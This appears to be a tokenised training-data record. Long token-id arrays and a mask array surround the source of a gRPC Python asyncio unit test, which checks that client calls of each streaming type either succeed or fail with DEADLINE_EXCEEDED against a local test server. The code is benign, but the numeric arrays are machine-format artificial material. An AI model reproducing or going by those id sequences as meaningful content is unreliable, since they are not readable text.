[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 258, 12208, 3515, 636, 363, 221, 485, 636, 199, 3, 221, 435, 28712, 420, 1182, 636, 776, 1547, 9, 1182, 7785, 4741, 8989, 636, 8989, 221, 31111, 199, 3, 221, 1204, 378, 88, 6265, 1204, 258, 1182, 636, 221, 1182, 1182, 636, 15, 31111, 15, 31111, 15, 636, 658, 15607, 221, 1182, 1182, 485, 971, 199, 3, 221, 435, 28712, 259, 1182, 1182, 63, 15, 1182, 1182, 1182, 63, 15, 1182, 363, 15, 1182, 221, 1182, 1182, 63, 15, 1182, 1182, 1182, 63, 15, 221, 636, 15, 199, 3, 257, 12208, 221, 12208, 259, 1182, 4741, 63, 15607, 6307, 363, 6307, 8989, 15607, 15, 257, 971, 3108, 63, 15, 1182, 8989, 6307, 8989, 15, 199, 3, 199, 3, 221, 1898, 334, 35, 9, 7760, 13, 6965, 10199, 67, 345, 806, 14840, 199, 3, 199, 3, 221, 445, 30566, 70, 21530, 653, 8143, 5843, 350, 26950, 351, 6810, 199, 3, 199, 3, 221, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 221, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 199, 3, 221, 465, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 199, 3, 221, 402, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 221, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 221, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 221, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 221, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 199, 3, 221, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 221, 3180, 543, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 3, 221, 2752, 12, 3277, 2020, 8026, 11236, 14259, 12, 12066, 11844, 12, 8226, 12, 199, 3, 221, 4828, 221, 11315, 13, 10067, 12, 8217, 14, 199, 199, 624, 199, 6158, 83, 367, 314, 2142, 8386, 626, 883, 506, 1202, 701, 17101, 6495, 14, 199, 624, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
jboeuf/grpc
src/python/grpcio_tests/tests_aio/unit/timeout_test.py
12
6674
# Copyright 2020 The gRPC Authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests behavior of the timeout mechanism on client side.""" import asyncio import logging import platform import random import unittest import datetime import grpc from grpc.experimental import aio from tests_aio.unit._test_base import AioTestBase from tests_aio.unit import _common _SLEEP_TIME_UNIT_S = datetime.timedelta(seconds=1).total_seconds() _TEST_SLEEPY_UNARY_UNARY = '/test/Test/SleepyUnaryUnary' _TEST_SLEEPY_UNARY_STREAM = '/test/Test/SleepyUnaryStream' _TEST_SLEEPY_STREAM_UNARY = '/test/Test/SleepyStreamUnary' _TEST_SLEEPY_STREAM_STREAM = '/test/Test/SleepyStreamStream' _REQUEST = b'\x00\x00\x00' _RESPONSE = b'\x01\x01\x01' async def _test_sleepy_unary_unary(unused_request, unused_context): await asyncio.sleep(_SLEEP_TIME_UNIT_S) return _RESPONSE async def _test_sleepy_unary_stream(unused_request, unused_context): yield _RESPONSE await asyncio.sleep(_SLEEP_TIME_UNIT_S) yield _RESPONSE async def _test_sleepy_stream_unary(unused_request_iterator, context): assert _REQUEST == await context.read() await asyncio.sleep(_SLEEP_TIME_UNIT_S) assert _REQUEST == await context.read() return _RESPONSE async def _test_sleepy_stream_stream(unused_request_iterator, context): assert _REQUEST == await context.read() await asyncio.sleep(_SLEEP_TIME_UNIT_S) await context.write(_RESPONSE) _ROUTING_TABLE = { _TEST_SLEEPY_UNARY_UNARY: grpc.unary_unary_rpc_method_handler(_test_sleepy_unary_unary), _TEST_SLEEPY_UNARY_STREAM: grpc.unary_stream_rpc_method_handler(_test_sleepy_unary_stream), _TEST_SLEEPY_STREAM_UNARY: grpc.stream_unary_rpc_method_handler(_test_sleepy_stream_unary), _TEST_SLEEPY_STREAM_STREAM: grpc.stream_stream_rpc_method_handler(_test_sleepy_stream_stream) } class _GenericHandler(grpc.GenericRpcHandler): def service(self, handler_call_details): return _ROUTING_TABLE.get(handler_call_details.method) async def _start_test_server(): server = aio.server() port = server.add_insecure_port('[::]:0') server.add_generic_rpc_handlers((_GenericHandler(),)) await server.start() return f'localhost:{port}', server class TestTimeout(AioTestBase): async def setUp(self): address, self._server = await _start_test_server() self._client = aio.insecure_channel(address) self.assertEqual(grpc.ChannelConnectivity.IDLE, self._client.get_state(True)) await _common.block_until_certain_state(self._client, grpc.ChannelConnectivity.READY) async def tearDown(self): await self._client.close() await self._server.stop(None) async def test_unary_unary_success_with_timeout(self): multicallable = self._client.unary_unary(_TEST_SLEEPY_UNARY_UNARY) call = multicallable(_REQUEST, timeout=2 * _SLEEP_TIME_UNIT_S) self.assertEqual(_RESPONSE, await call) self.assertEqual(grpc.StatusCode.OK, await call.code()) async def test_unary_unary_deadline_exceeded(self): multicallable = self._client.unary_unary(_TEST_SLEEPY_UNARY_UNARY) call = multicallable(_REQUEST, timeout=0.5 * _SLEEP_TIME_UNIT_S) with self.assertRaises(aio.AioRpcError) as exception_context: await call rpc_error = exception_context.exception self.assertEqual(grpc.StatusCode.DEADLINE_EXCEEDED, rpc_error.code()) async def test_unary_stream_success_with_timeout(self): multicallable = self._client.unary_stream(_TEST_SLEEPY_UNARY_STREAM) call = multicallable(_REQUEST, timeout=2 * _SLEEP_TIME_UNIT_S) self.assertEqual(_RESPONSE, await call.read()) self.assertEqual(_RESPONSE, await call.read()) self.assertEqual(grpc.StatusCode.OK, await call.code()) async def test_unary_stream_deadline_exceeded(self): multicallable = self._client.unary_stream(_TEST_SLEEPY_UNARY_STREAM) call = multicallable(_REQUEST, timeout=0.5 * _SLEEP_TIME_UNIT_S) self.assertEqual(_RESPONSE, await call.read()) with self.assertRaises(aio.AioRpcError) as exception_context: await call.read() rpc_error = exception_context.exception self.assertEqual(grpc.StatusCode.DEADLINE_EXCEEDED, rpc_error.code()) async def test_stream_unary_success_with_timeout(self): multicallable = self._client.stream_unary(_TEST_SLEEPY_STREAM_UNARY) call = multicallable(timeout=2 * _SLEEP_TIME_UNIT_S) await call.write(_REQUEST) await call.write(_REQUEST) self.assertEqual(grpc.StatusCode.OK, await call.code()) async def test_stream_unary_deadline_exceeded(self): multicallable = self._client.stream_unary(_TEST_SLEEPY_STREAM_UNARY) call = multicallable(timeout=0.5 * _SLEEP_TIME_UNIT_S) with self.assertRaises(aio.AioRpcError) as exception_context: await call.write(_REQUEST) await call.write(_REQUEST) await call rpc_error = exception_context.exception self.assertEqual(grpc.StatusCode.DEADLINE_EXCEEDED, rpc_error.code()) async def test_stream_stream_success_with_timeout(self): multicallable = self._client.stream_stream(_TEST_SLEEPY_STREAM_STREAM) call = multicallable(timeout=2 * _SLEEP_TIME_UNIT_S) await call.write(_REQUEST) self.assertEqual(_RESPONSE, await call.read()) self.assertEqual(grpc.StatusCode.OK, await call.code()) async def test_stream_stream_deadline_exceeded(self): multicallable = self._client.stream_stream(_TEST_SLEEPY_STREAM_STREAM) call = multicallable(timeout=0.5 * _SLEEP_TIME_UNIT_S) with self.assertRaises(aio.AioRpcError) as exception_context: await call.write(_REQUEST) await call.read() rpc_error = exception_context.exception self.assertEqual(grpc.StatusCode.DEADLINE_EXCEEDED, rpc_error.code()) if __name__ == '__main__': logging.basicConfig(level=logging.DEBUG) unittest.main(verbosity=2)
apache-2.0
[ 3, 1898, 25455, 710, 30700, 6642, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 624, 2925, 5953, 402, 314, 2653, 14729, 641, 1890, 5366, 1041, 199, 199, 646, 16195, 199, 646, 2050, 199, 646, 4298, 199, 646, 2196, 199, 646, 2882, 199, 646, 2197, 199, 199, 646, 19753, 199, 504, 19753, 14, 18924, 492, 282, 2308, 199, 199, 504, 2295, 63, 65, 2308, 14, 3248, 423, 396, 63, 1095, 492, 437, 2308, 14440, 199, 504, 2295, 63, 65, 2308, 14, 3248, 492, 485, 2330, 199, 199, 63, 51, 906, 6102, 63, 4961, 63, 15505, 63, 51, 275, 2197, 14, 7473, 8, 4515, 29, 17, 680, 2923, 63, 4515, 342, 199, 199, 63, 2864, 63, 51, 906, 37, 4521, 63, 31401, 63, 31401, 275, 1994, 396, 15, 774, 15, 51, 18387, 647, 22401, 22401, 7, 199, 63, 2864, 63, 51, 906, 37, 4521, 63, 31401, 63, 9484, 275, 1994, 396, 15, 774, 15, 51, 18387, 647, 22401, 3296, 7, 199, 63, 2864, 63, 51, 906, 37, 4521, 63, 9484, 63, 31401, 275, 1994, 396, 15, 774, 15, 51, 18387, 647, 3296, 22401, 7, 199, 63, 2864, 63, 51, 906, 37, 4521, 63, 9484, 63, 9484, 275, 1994, 396, 15, 774, 15, 51, 18387, 647, 3296, 3296, 7, 199, 199, 63, 6780, 275, 330, 1154, 88, 383, 60, 88, 383, 60, 88, 383, 7, 199, 63, 12801, 275, 330, 1154, 88, 614, 60, 88, 614, 60, 88, 614, 7, 421, 199, 4146, 347, 485, 396, 63, 83, 18387, 647, 63, 13124, 63, 13124, 8, 8618, 63, 1069, 12, 9563, 63, 1100, 304, 272, 5517, 16195, 14, 4532, 1547, 51, 906, 6102, 63, 4961, 63, 15505, 63, 51, 9, 272, 372, 485, 12801, 421, 199, 4146, 347, 485, 396, 63, 83, 18387, 647, 63, 13124, 63, 1745, 8, 8618, 63, 1069, 12, 9563, 63, 1100, 304, 272, 1995, 485, 12801, 272, 5517, 16195, 14, 4532, 1547, 51, 906, 6102, 63, 4961, 63, 15505, 63, 51, 9, 272, 1995, 485, 12801, 421, 199, 4146, 347, 485, 396, 63, 83, 18387, 647, 63, 1745, 63, 13124, 8, 8618, 63, 1069, 63, 5778, 12, 1067, 304, 272, 702, 485, 6780, 508, 5517, 1067, 14, 739, 342, 272, 5517, 16195, 14, 4532, 1547, 51, 906, 6102, 63, 4961, 63, 15505, 63, 51, 9, 272, 702, 485, 6780, 508, 5517, 1067, 14, 739, 342, 272, 372, 485, 12801, 421, 199, 4146, 347, 485, 396, 63, 83, 18387, 647, 63, 1745, 63, 1745, 8, 8618, 63, 1069, 63, 5778, 12, 1067, 304, 272, 702, 485, 6780, 508, 5517, 1067, 14, 739, 342, 272, 5517, 16195, 14, 4532, 1547, 51, 906, 6102, 63, 4961, 63, 15505, 63, 51, 9, 272, 5517, 1067, 14, 952, 1547, 12801, 9, 421, 199, 63, 14999, 1206, 63, 8723, 275, 469, 272, 485, 2864, 63, 51, 906, 37, 4521, 63, 31401, 63, 31401, 26, 267, 19753, 14, 13124, 63, 13124, 63, 4354, 63, 765, 63, 2232, 1547, 396, 63, 83, 18387, 647, 63, 13124, 63, 13124, 395, 272, 485, 2864, 63, 51, 906, 37, 4521, 63, 31401, 63, 9484, 26, 267, 19753, 14, 13124, 63, 1745, 63, 4354, 63, 765, 63, 2232, 1547, 396, 63, 83, 18387, 647, 63, 13124, 63, 1745, 395, 272, 485, 2864, 63, 51, 906, 37, 4521, 63, 9484, 63, 31401, 26, 267, 19753, 14, 1745, 63, 13124, 63, 4354, 63, 765, 63, 2232, 1547, 396, 63, 83, 18387, 647, 63, 1745, 63, 13124, 395, 272, 485, 2864, 63, 51, 906, 37, 4521, 63, 9484, 63, 9484, 26, 267, 19753, 14, 1745, 63, 1745, 63, 4354, 63, 765, 63, 2232, 1547, 396, 63, 83, 18387, 647, 63, 1745, 63, 1745, 9, 199, 93, 421, 199, 533, 485, 9417, 2461, 8, 15391, 14, 9417, 15569, 2461, 304, 339, 347, 2435, 8, 277, 12, 3016, 63, 1250, 63, 5087, 304, 267, 372, 485, 14999, 1206, 63, 8723, 14, 362, 8, 2232, 63, 1250, 63, 5087, 14, 765, 9, 421, 199, 4146, 347, 485, 928, 63, 396, 63, 1000, 837, 272, 1654, 275, 282, 2308, 14, 1000, 342, 272, 1844, 275, 1654, 14, 525, 63, 24824, 63, 719, 360, 10345, 2189, 16, 358, 272, 1654, 14, 525, 63, 6767, 63, 4354, 63, 5586, 1332, 63, 9417, 2461, 1062, 430, 272, 5517, 1654, 14, 928, 342, 272, 372, 289, 7, 5967, 14534, 719, 7293, 1654, 421, 199, 533, 1379, 6372, 8, 33, 2308, 14440, 304, 339, 5316, 347, 3613, 8, 277, 304, 267, 2287, 12, 291, 423, 1000, 275, 5517, 485, 928, 63, 396, 63, 1000, 342, 267, 291, 423, 1258, 275, 282, 2308, 14, 24824, 63, 2775, 8, 1562, 9, 267, 291, 14, 629, 8, 15391, 14, 5358, 714, 13498, 14, 23715, 12, 586, 291, 423, 1258, 14, 362, 63, 929, 8, 549, 430, 267, 5517, 485, 2330, 14, 1457, 63, 8111, 63, 20226, 63, 929, 8, 277, 423, 1258, 12, 6059, 19753, 14, 5358, 714, 13498, 14, 22579, 9, 339, 5316, 347, 6766, 8, 277, 304, 267, 5517, 291, 423, 1258, 14, 1600, 342, 267, 5517, 291, 423, 1000, 14, 2379, 8, 403, 9, 339, 5316, 347, 511, 63, 13124, 63, 13124, 63, 3742, 63, 1045, 63, 2593, 8, 277, 304, 267, 19207, 764, 452, 461, 275, 291, 423, 1258, 14, 13124, 63, 13124, 1547, 2864, 63, 51, 906, 37, 4521, 63, 31401, 63, 31401, 9, 267, 1240, 275, 19207, 764, 452, 461, 1547, 6780, 12, 2653, 29, 18, 627, 485, 51, 906, 6102, 63, 4961, 63, 15505, 63, 51, 9, 267, 291 ]
[ 1898, 25455, 710, 30700, 6642, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 624, 2925, 5953, 402, 314, 2653, 14729, 641, 1890, 5366, 1041, 199, 199, 646, 16195, 199, 646, 2050, 199, 646, 4298, 199, 646, 2196, 199, 646, 2882, 199, 646, 2197, 199, 199, 646, 19753, 199, 504, 19753, 14, 18924, 492, 282, 2308, 199, 199, 504, 2295, 63, 65, 2308, 14, 3248, 423, 396, 63, 1095, 492, 437, 2308, 14440, 199, 504, 2295, 63, 65, 2308, 14, 3248, 492, 485, 2330, 199, 199, 63, 51, 906, 6102, 63, 4961, 63, 15505, 63, 51, 275, 2197, 14, 7473, 8, 4515, 29, 17, 680, 2923, 63, 4515, 342, 199, 199, 63, 2864, 63, 51, 906, 37, 4521, 63, 31401, 63, 31401, 275, 1994, 396, 15, 774, 15, 51, 18387, 647, 22401, 22401, 7, 199, 63, 2864, 63, 51, 906, 37, 4521, 63, 31401, 63, 9484, 275, 1994, 396, 15, 774, 15, 51, 18387, 647, 22401, 3296, 7, 199, 63, 2864, 63, 51, 906, 37, 4521, 63, 9484, 63, 31401, 275, 1994, 396, 15, 774, 15, 51, 18387, 647, 3296, 22401, 7, 199, 63, 2864, 63, 51, 906, 37, 4521, 63, 9484, 63, 9484, 275, 1994, 396, 15, 774, 15, 51, 18387, 647, 3296, 3296, 7, 199, 199, 63, 6780, 275, 330, 1154, 88, 383, 60, 88, 383, 60, 88, 383, 7, 199, 63, 12801, 275, 330, 1154, 88, 614, 60, 88, 614, 60, 88, 614, 7, 421, 199, 4146, 347, 485, 396, 63, 83, 18387, 647, 63, 13124, 63, 13124, 8, 8618, 63, 1069, 12, 9563, 63, 1100, 304, 272, 5517, 16195, 14, 4532, 1547, 51, 906, 6102, 63, 4961, 63, 15505, 63, 51, 9, 272, 372, 485, 12801, 421, 199, 4146, 347, 485, 396, 63, 83, 18387, 647, 63, 13124, 63, 1745, 8, 8618, 63, 1069, 12, 9563, 63, 1100, 304, 272, 1995, 485, 12801, 272, 5517, 16195, 14, 4532, 1547, 51, 906, 6102, 63, 4961, 63, 15505, 63, 51, 9, 272, 1995, 485, 12801, 421, 199, 4146, 347, 485, 396, 63, 83, 18387, 647, 63, 1745, 63, 13124, 8, 8618, 63, 1069, 63, 5778, 12, 1067, 304, 272, 702, 485, 6780, 508, 5517, 1067, 14, 739, 342, 272, 5517, 16195, 14, 4532, 1547, 51, 906, 6102, 63, 4961, 63, 15505, 63, 51, 9, 272, 702, 485, 6780, 508, 5517, 1067, 14, 739, 342, 272, 372, 485, 12801, 421, 199, 4146, 347, 485, 396, 63, 83, 18387, 647, 63, 1745, 63, 1745, 8, 8618, 63, 1069, 63, 5778, 12, 1067, 304, 272, 702, 485, 6780, 508, 5517, 1067, 14, 739, 342, 272, 5517, 16195, 14, 4532, 1547, 51, 906, 6102, 63, 4961, 63, 15505, 63, 51, 9, 272, 5517, 1067, 14, 952, 1547, 12801, 9, 421, 199, 63, 14999, 1206, 63, 8723, 275, 469, 272, 485, 2864, 63, 51, 906, 37, 4521, 63, 31401, 63, 31401, 26, 267, 19753, 14, 13124, 63, 13124, 63, 4354, 63, 765, 63, 2232, 1547, 396, 63, 83, 18387, 647, 63, 13124, 63, 13124, 395, 272, 485, 2864, 63, 51, 906, 37, 4521, 63, 31401, 63, 9484, 26, 267, 19753, 14, 13124, 63, 1745, 63, 4354, 63, 765, 63, 2232, 1547, 396, 63, 83, 18387, 647, 63, 13124, 63, 1745, 395, 272, 485, 2864, 63, 51, 906, 37, 4521, 63, 9484, 63, 31401, 26, 267, 19753, 14, 1745, 63, 13124, 63, 4354, 63, 765, 63, 2232, 1547, 396, 63, 83, 18387, 647, 63, 1745, 63, 13124, 395, 272, 485, 2864, 63, 51, 906, 37, 4521, 63, 9484, 63, 9484, 26, 267, 19753, 14, 1745, 63, 1745, 63, 4354, 63, 765, 63, 2232, 1547, 396, 63, 83, 18387, 647, 63, 1745, 63, 1745, 9, 199, 93, 421, 199, 533, 485, 9417, 2461, 8, 15391, 14, 9417, 15569, 2461, 304, 339, 347, 2435, 8, 277, 12, 3016, 63, 1250, 63, 5087, 304, 267, 372, 485, 14999, 1206, 63, 8723, 14, 362, 8, 2232, 63, 1250, 63, 5087, 14, 765, 9, 421, 199, 4146, 347, 485, 928, 63, 396, 63, 1000, 837, 272, 1654, 275, 282, 2308, 14, 1000, 342, 272, 1844, 275, 1654, 14, 525, 63, 24824, 63, 719, 360, 10345, 2189, 16, 358, 272, 1654, 14, 525, 63, 6767, 63, 4354, 63, 5586, 1332, 63, 9417, 2461, 1062, 430, 272, 5517, 1654, 14, 928, 342, 272, 372, 289, 7, 5967, 14534, 719, 7293, 1654, 421, 199, 533, 1379, 6372, 8, 33, 2308, 14440, 304, 339, 5316, 347, 3613, 8, 277, 304, 267, 2287, 12, 291, 423, 1000, 275, 5517, 485, 928, 63, 396, 63, 1000, 342, 267, 291, 423, 1258, 275, 282, 2308, 14, 24824, 63, 2775, 8, 1562, 9, 267, 291, 14, 629, 8, 15391, 14, 5358, 714, 13498, 14, 23715, 12, 586, 291, 423, 1258, 14, 362, 63, 929, 8, 549, 430, 267, 5517, 485, 2330, 14, 1457, 63, 8111, 63, 20226, 63, 929, 8, 277, 423, 1258, 12, 6059, 19753, 14, 5358, 714, 13498, 14, 22579, 9, 339, 5316, 347, 6766, 8, 277, 304, 267, 5517, 291, 423, 1258, 14, 1600, 342, 267, 5517, 291, 423, 1000, 14, 2379, 8, 403, 9, 339, 5316, 347, 511, 63, 13124, 63, 13124, 63, 3742, 63, 1045, 63, 2593, 8, 277, 304, 267, 19207, 764, 452, 461, 275, 291, 423, 1258, 14, 13124, 63, 13124, 1547, 2864, 63, 51, 906, 37, 4521, 63, 31401, 63, 31401, 9, 267, 1240, 275, 19207, 764, 452, 461, 1547, 6780, 12, 2653, 29, 18, 627, 485, 51, 906, 6102, 63, 4961, 63, 15505, 63, 51, 9, 267, 291, 0 ]
